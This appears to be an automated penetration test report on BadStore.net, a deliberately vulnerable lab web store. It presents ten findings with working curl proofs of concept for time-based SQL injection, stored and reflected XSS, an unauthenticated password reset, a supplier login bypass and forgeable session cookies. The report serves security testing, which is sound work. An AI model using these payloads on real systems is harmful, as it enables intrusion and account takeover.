Web Application Penetration Test Report — v1.0

Target System: BadStore.net v1.2.3s

Performed by the OpenHack Security Agent

Issued by Jane Doe (jane.doe@openhack.sec)

2026-02-26

Contents

DRAFT

DRAFT

Scope

`OpenHack Security Agent` was engaged by `Richard Roe` to conduct an external IT security investigation. The subject of the investigation was the “BadStore.net v1.2.3s”.

The test was performed using a local instance of the application at `http://localhost:3336` in a dedicated test environment..

Objective

The objective of the IT security investigation was to identify vulnerabilities and security gaps which, in the event of misuse, would have an impact on the availability, integrity and confidentiality of the defined applications and/or systems and the data processed on them. The result of this project is a report that contains a management summary of all relevant findings and a compilation of recommended measures.

The technical IT security audit is not a substantive audit effort to ensure that all vulnerabilities and security gaps existing at the time of the audit are identified. There is a possibility that established safeguards will effectively prevent identification and exploitation of vulnerabilities and security gaps. The client acknowledges that this is not an indicator of deficiencies in engagement performance and that additional unidentified vulnerabilities and security gaps may exist.

DRAFT

Disclaimer

‘OpenHack Security Agent‘ conducted the security penetration test on behalf of ‘Richard Roe‘. This report has been prepared exclusively for ‘Richard Roe‘. It is intended exclusively for internal use and is accordingly not designed to serve third parties as a basis for their decisions, unless agreed otherwise in writing. Third parties may not derive any rights or otherwise benefit from this engagement unless agreed otherwise in writing. Affiliated companies of the client are also considered ”third parties” within the meaning of this engagement.

‘OpenHack Security Agent‘ does not assume any liability or legal claims against third parties unless agreed otherwise in writing or a disclaimer cannot effectively be implemented.

It is the sole responsibility of anyone who becomes aware of the work results summarized in this report to decide to what extent and in what way the information is useful or appropriate and to supplement, check or update it as part of their own review.

No adjustments will be made to the report to reflect events or circumstances that occur after the report is issued, unless required by law.

The recommendations in this report are general and applicable in many different environments but could have unpredictable effects in specific environments. Therefore, any actions derived from the recommendations should be carefully considered and implemented through the regular change process. This should include appropriate testing of the changes on a test environment prior to going live. If the changes are not tested in advance in an identically configured test environment, failures or other damage cannot be ruled out.

Please note: Technical descriptions (or parts thereof) in this report may be taken from the OWASP Testing Guide (www.owasp.org).

1 Document Control

Document Status

Title	Security Assessment Report
Document Owner	OpenHack Security Agent
Classification	Strictly Confidential
Project Timeframe	2026-02-26

Version History

Version	Date	State	Author	Comments
0.1	2026-02-26	Draft	Jane Doe	–
1.0	2026-02-26	Final document	Jane Doe	–

DRAFT

Contact Persons - Assessor

Name	Role	Phone	Email
Jane Doe	Lead Security Consultant	+1 555 123 4567	jane.doe@openhack.sec
John Smith	Security Consultant	+1 555 234 5678	john.smith@openhack.sec

Contact Persons - Client

Name	Role	Phone	Email
Richard Roe	Project Lead	+1 555 345 6789	spam@badstore.net

2 Executive Summary

`OpenHack Security Agent` (hereinafter referred to as “ASSESSOR”) has been commissioned by `Richard Roe` (hereinafter referred to as “CLIENT”) to carry out a penetration test.

The penetration test of the `BadStore.net v1.2.3s` application took place on **2026-02-26**.

For this purpose, the web application, accessible at `http://badstore:80`, was tested from the perspective of an external attacker. ## Authentication - User input: “no restrictions” (no credentials/roles provided)

DRAFT

2.1 Constraints

- User input: “no constrains” (no DoS/data-handling/timebox constraints specified)

As part of the test, a total of 10 vulnerabilities were identified: 4 critical, 1 high, 3 medium, 1 low, and 1 informational.

Critical: **4** | High: **1** | Medium: **3** | Low: **1** | Informational: **1** | Total: **10**

Table 2.1: Overview of Findings

Severity	Count	
Critical	4
High	1
Medium	3
Low	1
Informational	1
Total	**10**

A description of the scope and test environment can be found in Chapter 3. Chapter 4 presents the risk assessment methodology. Chapter 5 provides a summary of findings. Chapter 6 contains the detailed technical descriptions of the findings including remediation measures.

It is recommended that the remediation of the critical risk vulnerabilities be treated with the highest priority and countermeasures implemented as soon as possible. The vulnerabilities with high and medium risk should also be remedied in the short term. The low-risk vulnerabilities should be treated with lower priority due to their reduced risk, but should still be addressed.

DRAFT

3 Execution of the Security Penetration Test

3.1 Subject Under Test

3.2 Scope

The scope for the assessment was the following targets:

3.3 In scope

- Base URL provided: `http://badstore:80`
- Operator note from user: “no scope limitations” (no explicit host/port/protocol list provided)

DRAFT

3.4 Out of scope

- None (per user: “none out-of-scope”)

3.5 Methodology

The security penetration test of the BadStore.net v1.2.3s took place on 2026-02-26.

The web application was tested for security vulnerabilities across the following categories. This can be considered a guideline as penetration tests are a creative process and therefore the tests are not limited to what is given here. The base of these categories is the OWASP Top 10 for Web, which is fully covered by this penetration test approach.

Category	Description
Broken Access Control	Users can act outside their permissions, leading to unauthorized viewing, modification, or deletion of data.

Category	Description
Security Misconfiguration	Systems or cloud services are insecurely configured, e.g., through default passwords or unnecessarily enabled features.
Software Supply Chain Failures	Vulnerabilities arise from compromised third-party code, libraries, or build pipelines.
Cryptographic Failures	Sensitive data is exposed through missing, weak, or incorrectly implemented encryption.
Injection	Attackers inject malicious commands (e.g., SQL or shell code) through input fields that the system erroneously executes.
Insecure Design	Fundamental architectural flaws that exist before implementation make an application inherently insecure.
Authentication Failures	Flaws in identity verification allow attackers to take over sessions or guess passwords (brute force).
Software or Data Integrity Failures	Lack of verification of code or data sources leads to acceptance of untrusted updates or serialization data.
Security Logging & Alerting Failures	Attacks go undetected or responses are delayed due to missing logs or absent alert notifications.
Mishandling of Exceptional Conditions	Programs respond inadequately to unforeseen situations, which can lead to crashes or logic errors.

DRAFT

3.6 Events

During the test, the following restrictions or events occurred that may have affected the scope or depth of the assessment: ## Rules of engagement - Allowed attack types: not restricted (per user) - DoS constraints: none specified - Data handling constraints: none specified - Timebox: not specified

4 Risk Assessment

4.1 CVSS

The risk assessment of the vulnerabilities found is performed using the industry standard Common Vulnerability Scoring System v3.1 (hereinafter referred to as “CVSS”). This is a standard that can be used to uniformly assess the vulnerability of computer systems and the severity of security vulnerabilities. This makes it possible to compare vulnerabilities more effectively.

The Common Vulnerability Scoring System has a metric structure and is based on values that are divided into three groups: “Base”, “Temporal”, and “Environmental”. To determine the vulnerability scores, each group has its own rules. The values of the Base group are invariant in time and remain the same in different environments. In the Temporal group, the time dependency of a vulnerability is taken into account. For example, the vulnerability of a system to a particular vulnerability decreases over time as more and more countermeasures such as patches become known and available. The Environmental group incorporates various criteria of the specific IT environments into the vulnerability rating.

DRAFT

The CVSS ratings are numerical values on a scale of 0.0 to 10.0, with the highest vulnerability of a system occurring at a value of 10.0. Our rating is based on the Base Metrics (Base Score) and is composed of:

- Attack Vector (AV)
- Attack Complexity (AC)
- Privileges Required (PR)
- User Interaction (UI)
- Scope (S)
- Confidentiality (C)
- Integrity (I)
- Availability (A)

As penetration testers, we can only assess the general threats posed by a vulnerability through Base Metrics. However, we have no insight into the internal structures of our clients. Therefore, the assessment of the specific risks for the client’s systems and business processes must be done by the client. For this purpose, CVSS offers Environmental Metrics. This makes it possible to subsequently adjust the CVSS score of vulnerabilities after the test result has been

submitted before they are remedied. This changes the assessment of the risk and thus the urgency of remediation of a vulnerability. For more information, see CVSS v3.1 Specification.

4.2 Risk Categories

The risk categories used in this report reflect the recommended priority for addressing the vulnerabilities identified during the penetration test. The categorization is based on the probability of exploitation and the significance of the impact. The risk value is calculated using the CVSS v3.1 standard:

Assessment	Risk Category Description
Critical	Critical vulnerabilities that allow an attacker to gain full access to the object under test and its sensitive information. It is possible to cause enormous damage to the client's reputation. Furthermore, these vulnerabilities may allow attackers to gain wide-ranging privileges, including to other systems or applications of the client that have not been investigated in detail within the scope of this project. Exploitation of the vulnerabilities is not prevented and can be reproduced with medium to low effort.
High	Vulnerabilities that may allow an attacker to manipulate sensitive data, damage the client's reputation, gain unauthorized access to sensitive information, or gain unauthorized access to applications or the client's infrastructure. The vulnerabilities are reproducible with medium to high effort.
Medium	Vulnerabilities that may allow an attacker to harm the client's reputation or gain unauthorized access to client data. The privileges that an attacker can gain by exploiting the vulnerabilities are limited.
Low	Security vulnerabilities that do not pose a threat in themselves, but which, for example, provide attackers with useful information about the network and systems. These vulnerabilities allow an attacker only very limited access.
Informational	Anomalies such as functional limitations or inconsistencies. These do not currently represent a risk and have no negative impact on the test object. Accordingly, no action is required. Nevertheless, countermeasures can be helpful for the functional and safety improvement of the test object. If necessary, this may give rise to risks under other circumstances.

DRAFT

4.3 Vulnerability States

The vulnerabilities can be in one of the following states:

- **Active**: The vulnerability has been identified and it has been possible to verify its existence through exploitation or direct evidence.
- **Potential**: The vulnerability has been identified but its exploitation has not been possible, so its existence cannot be fully verified, and it is up to the client to determine the impact.
- **Fixed**: The vulnerability has been remediated and verified through retesting.

DRAFT

5 Summary of Findings

Id	Finding Name	Risk Assessment	CVSS v3.1 Score
01	Missing recommended HTTP security headers	Low	N/A
02	Server banner and default error pages disclose platform details	Informational	N/A
03	Unauthenticated access to sensitive documents (contract .doc, manual .pdf)	Medium	5.3
04	Unauthenticated password reset sets predictable password and reveals it in response	Critical	9.1
05	Supplier portal authentication bypass (login accepts empty credentials)	High	7.5
06	SSOid session cookie is forgeable (client-side auth without integrity)	Critical	9.1
07	SQL injection in product search (searchquery) allows time-based query execution	Critical	9.8
08	Stored XSS in guestbook entries (name/comments) executes arbitrary JavaScript	Medium	6.1
09	Reflected XSS in search results via debug SQL output (searchquery)	Medium	6.1
10	SQL injection in cart add (cartitem) allows time-based query execution	Critical	9.8

6 Findings and Remediation

6.1 Finding

6.1.1 Missing recommended HTTP security headers

Severity	Low
CVSS Base Score	N/A
Assets	http://badstore:80/, http://badstore:80/cgi-bin/badstore.cgi, http://badstore:80/cgi-bin/badstore.cgi?action=loginregister
Status	open

DRAFT

Description

Unauthenticated responses do not set common defensive security headers, increasing exposure to clickjacking, MIME sniffing, and unsafe browser defaults.

Observed (examples): - Missing: Content-Security-Policy (or at least frame-ancestors), X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy - No redirect to HTTPS observed; HSTS is not applicable while HTTP-only

Reproduction: 1) Request headers for key endpoints: - curl -sS -D - -o /dev/null http://badstore/ - curl -sS -D - -o /dev/null http://badstore/cgi-bin/badstore.cgi - curl -sS -D - -o /dev/null 'http://badstore/cgi-bin/badstore.cgi?action=loginregister' 2) Confirm the above headers are absent in the response.

Remediation: - Add a baseline security header policy at the Apache vhost (and/or application) level: - X-Content-Type-Options: nosniff - X-Frame-Options: DENY (or CSP frame-ancestors) - Referrer-Policy: strict-origin-when-cross-origin (or stricter) - Permissions-Policy: restrict as needed - CSP tailored to the site (start with report-only if needed) - If HTTPS is introduced, enforce HTTPS + HSTS.

Proof of Concept

Request response headers from key endpoints and confirm missing baseline headers.

Commands: - curl -sS -D - -o /dev/null http://badstore/ - curl -sS -D - -o /dev/null http://badstore/cgi-bin/badstore.cgi

Evidence: - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/headers-missing-security-headers-20260226-213942-13934.txt - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/curl_root_headers.txt

Remediation

Not provided

Evidence

- Header dumps for /, /cgi-bin/badstore.cgi, and loginregister showing absence of common security headers (CSP/XFO/XCTO/Referrer-Policy/Permissions-Policy).: images/finding-8c02e891-5c33-477b-9fe7-0d46dcac674f-1-headers-missing-security-headers-20260226-213942-13934.txt

6.2 Finding

6.2.1 Server banner and default error pages disclose platform details

Severity	**Informational**
CVSS Base Score	N/A
Assets	http://badstore:80/, http://badstore:80/doesnotexist-test
Status	open

DRAFT

Description

The application discloses detailed server/platform information in the Server header and in the default Apache error page footer (server signature). This information can help attackers fingerprint the environment and target version-specific attacks.

Observed: - Server header: Apache/2.4.65 (Debian) - 404 page footer: ‘Apache/2.4.65 (Debian) Server at badstore Port 80’

Reproduction: 1) Request any page and observe the Server response header: - curl -sS -D - -o /dev/null http://badstore/ 2) Trigger a 404 and observe the HTML

footer: - curl -sS http://badstore/doesnotexist-test

Remediation: - Apache hardening: set ServerTokens Prod and ServerSignature Off - Replace default error pages with custom error documents.

Proof of Concept

1) Observe the Server header on any response.
    - curl -sS -D - -o /dev/null http://badstore/

2) Trigger a 404 and observe the default Apache signature footer.

- curl -sS http://badstore/doesnotexist-test

Evidence: - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/curl_root_headers.tx
- /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/404-apache-signature-20260226-213942-13934.txt

Remediation

Not provided

Evidence

- Raw 404 response includes 'Server: Apache/2.4.65 (Debian)' header and default error page footer disclosing 'Server at badstore Port 80'.: images/finding-db79f183-b2f7-40ae-9591-cc63a0734782-2-404-apache-signature-20260226-213942-13934.txt

6.3 Finding

6.3.1 Unauthenticated access to sensitive documents (contract .doc, manual .pdf)

DRAFT

Severity	**Medium**
CVSS Base Score	**5.3** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Assets	http://badstore:80/DoingBusiness/contract.doc, http://badstore:80/BadStore_net_v1_2_Manual.pdf
Status	open

Description

The application serves business/internal documents directly over HTTP without authentication or authorization checks. An unauthenticated attacker can download the files and access their contents.

Affected URLs (unauth): - http://badstore/DoingBusiness/contract.doc - http://badstore/BadStore_net_v1_2_Mar

Reproduction: 1) Send: GET /DoingBusiness/contract.doc Expected/Observed: HTTP/1.1 200 OK, Content-Type: application/msword, Content-Length: 41984 2) Send: GET /BadStore_net_v1_2_Manual.pdf Expected/Observed: HTTP/1.1 200 OK, Content-Type: application/pdf, Content-Length: 170967

Impact: - Sensitive/proprietary document disclosure (potential legal/commercial data exposure, documentation disclosure useful for further attacks).

Evidence (response headers): - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/contract-doc-20260226T214034Z-039dd3.txt - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/manual-pdf-20260226T214034Z-a297af.txt

Proof of Concept

Unauthenticated file download: - GET http://badstore/DoingBusiness/contract.doc -> 200 OK - GET http://badstore/BadStore_net_v1_2_Manual.pdf -> 200 OK

Evidence: - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/contract-doc-20260226T214034Z-039dd3.txt - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/manual-pdf-20260226T214034Z-a297af.txt - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/curl_contractdoc_headers.txt - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/curl_manualpdf_headers.txt

Remediation

Not provided

Evidence

- Unauth GET http://badstore/DoingBusiness/contract.doc returns 200 OK with Content-Type: application/msword: images/finding-87bc2b20-8184-4b0a-b59b-dd114abffeba-3-contract-doc-20260226T214034Z-039dd3.txt
- Unauth GET http://badstore/BadStore_net_v1_2_Manual.pdf returns 200 OK with Content-Type: application/pdf: images/finding-87bc2b20-8184-4b0a-b59b-dd114abffeba-4-manual-pdf-20260226T214034Z-a297af.txt

DRAFT

6.4 Finding

6.4.1 Unauthenticated password reset sets predictable password and reveals it in response

Severity	**Critical**
CVSS Base Score	**9.1** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=moduser, http://badstore:80/cgi-bin/badstore.cgi?action=myaccount
Status	open

Description

The password reset endpoint can be invoked without authentication. Supplying an email address and a low-entropy hint value causes the application to reset the account password to a predictable value (“Welcome”) and disclose it in the HTTP response.

Impact: - Remote account takeover for any user (attacker sets/knows the new password). - User enumeration is unnecessary; the endpoint reports success for arbitrary emails.

Reproduction (unauth): 1) Send: curl -i -X POST 'http://badstore:80/cgi-bin/badstore.cgi?action=moduser' –data-urlencode 'email=poc.user.9b26@local.test' –data-urlencode 'pwdhint=green' –data-urlencode 'DoMods=Reset User Password' 2) Observe the response contains: "…has been reset to: Welcome"

Notes: - Test account created during exploitation: poc.user.9b26@local.test (no real PII).

Proof of Concept

Unauthenticated password reset (attacker-chosen email) reveals and sets a predictable password.

Command: curl -i -X POST 'http://badstore:80/cgi-bin/badstore.cgi?action=moduser' –data-urlencode 'email=poc.user.9b26@local.test' –data-urlencode 'pwdhint=green' –data-urlencode 'DoMods=Reset User Password'

Expected/Observed: - Response contains: "…has been reset to: Welcome"

Evidence: - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/auth-reset-20260226T214347Z-228bdc.txt

Remediation

Not provided

Evidence

- Unauthenticated POST to action=moduser resets account password to predictable value "Welcome" and discloses it in response body: images/finding-f993520d-010b-4e1a-a59e-8250909b1562-5-auth-reset-20260226T214347Z-228bdc.txt

DRAFT

6.5 Finding

6.5.1 Supplier portal authentication bypass (login accepts empty credentials)

Severity	**High**
CVSS Base Score	**7.5** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=supplierlogin, http://badstore:80/cgi-bin/badstore.cgi?action=supplierportal, http://badstore:80/cgi-bin/badstore.cgi?action=supupload

Status	open

Description

The supplier portal endpoint returns the authenticated supplier upload page even when no credentials are supplied. This bypasses the intended supplier-only authentication gate and exposes privileged supplier functionality to unauthenticated users.

Impact: - Unauthenticated access to supplier upload workflow (action=supupload) which is intended to be restricted to suppliers.

Reproduction (unauth): 1) Send: curl -i -X POST 'http://badstore:80/cgi-bin/badstore.cgi?action=supplierportal' –data-urlencode 'email=' –data-urlencode 'passwd=' 2) Observe the response contains the supplier upload form ("Upload Price Lists", file input named "uploaded_file", and action "supupload").

UI confirmation: - The public login page exists at: http://badstore:80/cgi-bin/badstore.cgi?action=supplierlogin but is not enforced server-side on supplierportal.

Proof of Concept

Supplier portal authentication bypass (empty credentials accepted).

Command: curl -i -X POST 'http://badstore:80/cgi-bin/badstore.cgi?action=supplierportal' –data-urlencode 'email=' –data-urlencode 'passwd='

Expected/Observed: - Response includes the supplier upload form ("Upload Price Lists"; file input named "uploaded_file"), indicating access to action=supupload.

Evidence: - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/auth-supplierportal-bypass-20260226T214347Z-0f2717.txt - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/curl_supplierproc_body.html

Remediation

Not provided

Evidence

- POST action=supplierportal with empty email/passwd returns supplier upload form (authenticated functionality): images/finding-8a7c4511-80c8-4232-8fcb-eee719a014cb-6-auth-supplierportal-bypass-20260226T214347Z-0f2717.txt

6.6 Finding

6.6.1 SSOid session cookie is forgeable (client-side auth without integrity)

DRAFT

Severity	**Critical**
CVSS Base Score	**9.1** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=loginregister, http://badstore:80/cgi-bin/badstore.cgi?action=myaccount
Status	open

Description

The application uses a client-side cookie (SSOid) as the sole source of truth for authentication state and user attributes. The cookie value is simply Base64-encoded user data and is accepted without integrity protection or server-side validation. An attacker can forge SSOid to impersonate arbitrary identities and manipulate fields such as email/name/role.

Observed cookie format (Base64-decoded): - :::

Impact: - Remote authentication bypass / account takeover: attacker can set SSOid to any victim email and be treated as logged in. - Privilege manipulation: attacker can change the role field (e.g., U -> A) in the cookie.

Reproduction (unauth): 1) Craft a forged cookie payload (example): poc.user.9b26@local.test:deadbeefdeadbeefc User:U 2) Base64-encode it and send it as the SSOid cookie to a protected page: curl -v -H 'Cookie: SSOid=' 'http://badstore:80/cgi-bin/badstore.cgi?action=myaccount' 3) Observe the response shows a logged-in account update form and the victim email in "Current Email Address".

Notes: - Test accounts created during exploitation: poc.user.9b26@local.test and poc.cookie*.9b26@local.test (no real PII).

DRAFT

Proof of Concept

Forge an SSOid cookie by Base64-encoding user attributes and sending it to an authenticated page.

Example forged payload (before Base64): poc.user.9b26@local.test:deadbeefdeadbeefdeadbeefdeadbeef:POC User:U

Command (replace with the Base64 of the payload): curl -v -H 'Cookie: SSOid=' 'http://badstore:80/cgi-bin/badstore.cgi?action=myaccount'

Expected/Observed: - Response shows a logged-in account page (e.g., "Welcome, POC User" and "Current Email Address: poc.user.9b26@local.test") without completing authentication.

Evidence: - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/auth-cookie-forgery-20260226T214347Z-b1adc6.txt - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/auth-cookie-forgery2-20260226T214408Z-028abc.txt

Remediation

Not provided

Evidence

- curl -v request/response showing forged SSOid cookie logs attacker in as arbitrary identity (Victim Session) on action=myaccount: images/finding-47707657-7dd6-4dc3-b3a3-9176e17a7f29-7-auth-cookie-forgery-20260226T214347Z-b1adc6.txt
- curl -v request/response showing token field is not validated (deadbeef token still yields logged-in myaccount for existing user email): images/finding-47707657-7dd6-4dc3-b3a3-9176e17a7f29-8-auth-cookie-forgery2-20260226T214408Z-028abc.txt

6.7 Finding

6.7.1 SQL injection in product search (searchquery) allows time-based query execution

Severity	**Critical**
CVSS Base Score	**9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=search
Status	open

DRAFT

Description

The unauthenticated search endpoint concatenates the GET parameter searchquery into a MariaDB query without parameterization, enabling SQL injection (time-based confirmed).

Reproduction (unauth) 1) Baseline: curl -sS -G http://badstore/cgi-bin/badstore.cgi –data-urlencode action=search –data-urlencode searchquery=Test -o /dev/null 2) Time-based SQLi: curl -sS -G http://badstore/cgi-bin/badstore.cgi –data-urlencode action=search –data-urlencode ‘searchquery=Test%27%20OR%20SLEEP(2)%20–%20-’ -o /dev/null 3) Observe a significant server-side delay vs baseline, and the response HTML includes the constructed SQL statement containing the injected payload (debug output).

Impact - Likely full database read/write depending on DB user privileges; at minimum, server-side SQL function execution is confirmed.

Proof of Concept

Time-based SQL injection in action=search via searchquery.

Baseline: curl -sS -G http://badstore/cgi-bin/badstore.cgi
–data-urlencode action=search
–data-urlencode searchquery=Test -o /dev/null

Injected: curl -sS -G http://badstore/cgi-bin/badstore.cgi
–data-urlencode action=search
–data-urlencode ‘searchquery=Test%27%20OR%20SLEEP(2)%20–%20-’ -o /dev/null

Expected/Observed: - Significant delay vs baseline indicating server-side execution.

Evidence: - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/exploit-search2-1772142017-30087-TestORSLEEP2-meta.txt - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/exploit-search2-1772142017-30087-TestORSLEEP2-body.html

Remediation

Not provided

Evidence

- Search response HTML shows injected SQL containing OR SLEEP(2) payload: images/finding-7d322845-9714-42b8-b4b7-543ef8b869d7-9-exploit-search2-1772142017-30087-TestORSLEEP2-body.html
- curl time_total for time-based SQLi request (significant delay): images/finding-7d322845-9714-42b8-b4b7-543ef8b869d7-10-exploit-search2-1772142017-30087-TestORSLEEP2-meta.txt

DRAFT

6.8 Finding

6.8.1 Stored XSS in guestbook entries (name/comments) executes arbitrary JavaScript

Severity	**Medium**
CVSS Base Score	**6.1** (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=guestbook, http://badstore:80/cgi-bin/badstore.cgi?action=doguestbook
Status	open

Description

The guestbook submission endpoint stores and later renders user-controlled fields without HTML escaping, allowing stored XSS that executes for anyone viewing the guestbook entries list.

Reproduction (unauth) 1) Submit a guestbook entry containing script: curl -sS -X POST http://badstore/cgi-bin/badstore.cgi?action=doguestbook –data-urlencode name=attacker –data-urlencode email=a@b.test –data-urlencode comments=%3Cscript%3Ealert%281%29%3C%2Fscript%3E 2) Observe the response page lists guestbook entries and includes the injected

payload unescaped: images/finding-ba5af284-2190-49c1-9187-cce36c0d2929-11-exploit-guestbook-1772142090-9355-submit-body.html

6.9 Finding

6.9.1 Reflected XSS in search results via debug SQL output (searchquery)

Severity	**Medium**
CVSS Base Score	**6.1** (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=search
Status	open

DRAFT

Description

The search results page reflects user-controlled input into the HTML without escaping. When no items match, the application prints a debug SQL statement containing the raw search-query value, enabling reflected XSS.

Reproduction (unauth) 1) Send: curl -sS -G http://badstore/cgi-bin/badstore.cgi –data-urlencode action=search –data-urlencode searchquery=%3Cscript%3Ealert%281%29%3C%2Fscript%3E 2) Observe the response HTML contains an unescaped

sequence inside the rendered page (in the debug SQL statement).

Impact - JavaScript execution in the victim browser when they view the crafted search results page (phishing, session theft, actions as victim).

Proof of Concept

Reflected XSS in action=search when debug SQL output reflects searchquery.

Command: curl -sS -G http://badstore/cgi-bin/badstore.cgi
–data-urlencode action=search
–data-urlencode searchquery=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

Expected/Observed: - Response HTML contains the unescaped

from searchquery in debug SQL output: images/finding-f6e58162-fcc7-477b-8c1d-1167cd0104af-12-exploit-search-1772141965-19211-scriptalert1-body.html

6.10 Finding

6.10.1 SQL injection in cart add (cartitem) allows time-based query execution

Severity	**Critical**
CVSS Base Score	**9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=cartadd
Status	open

Description

The unauthenticated cart add endpoint concatenates the POST parameter cartitem into a MariaDB query without parameterization, enabling SQL injection (time-based confirmed).

Reproduction (unauth) 1) Baseline: curl -sS -X POST http://badstore/cgi-bin/badstore.cgi?action=cartadd –data-urlencode cartitem=9999 -o /dev/null 2) Time-based SQLi (may delay longer than requested sleep due to query behavior): curl -sS -X POST http://badstore/cgi-bin/badstore.cgi?action=cartadd –data-urlencode cartitem=9999%27%20OR%20SLEEP%281%29%20–%20- -o /dev/null 3) Observe a significant server-side delay vs baseline.

Impact - Likely full database read/write depending on DB user privileges; at minimum, server-side SQL function execution is confirmed.

Proof of Concept

Time-based SQL injection in action=cartadd via cartitem.

Baseline: curl -sS -X POST http://badstore/cgi-bin/badstore.cgi?action=cartadd –data-urlencode cartitem=9999 -o /dev/null

Injected: curl -sS -X POST http://badstore/cgi-bin/badstore.cgi?action=cartadd –data-urlencode cartitem=9999%27%20OR%20SLEEP%281%29%20–%20- -o /dev/null

Expected/Observed: - Significant delay vs baseline indicating server-side execution.

Evidence: - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/exploit-cartadd3-1772142169-17016-sleep-meta.txt - /app/data/pentest/running/9b26dedf-b3e4-4cf6-b826-8760860ab446/evidence/exploit-cartadd3-1772142169-17016-sleep-body.html

Remediation

Not provided

Evidence

- curl –trace-ascii shows POST body containing cartitem SQLi payload with OR SLEEP(1): images/finding-ee3b5a6e-0bfd-41a2-9932-ec87acdab6ef-13-exploit-cartadd-trace-1772142246-22068-trace.txt

DRAFT

- curl time_total for cartitem time-based SQLi request (significant delay): images/finding-ee3b5a6e-0bfd-41a2-9932-ec87acdab6ef-14-exploit-cartadd-trace-1772142246-22068-meta.txt

DRAFT

7 Appendix A - Lists, Scripts and Raw Data

DRAFT

8 Appendix B - List of Abbreviations

Abbreviation	Description
API	Application Programming Interface
CAPTCHA	Completely Automated Public Turing test to tell Computers and Humans Apart
CVSS	Common Vulnerability Scoring System
FTP	File Transfer Protocol
IDOR	Insecure Direct Object Reference
MD5	Message-Digest Algorithm 5
OAuth	Open Authorization
ORM	Object-Relational Mapping
OWASP	Open Web Application Security Project
PII	Personally Identifiable Information
SQL	Structured Query Language
TOTP	Time-based One-Time Password
URI	Uniform Resource Identifier
WAF	Web Application Firewall

+————-+————————————+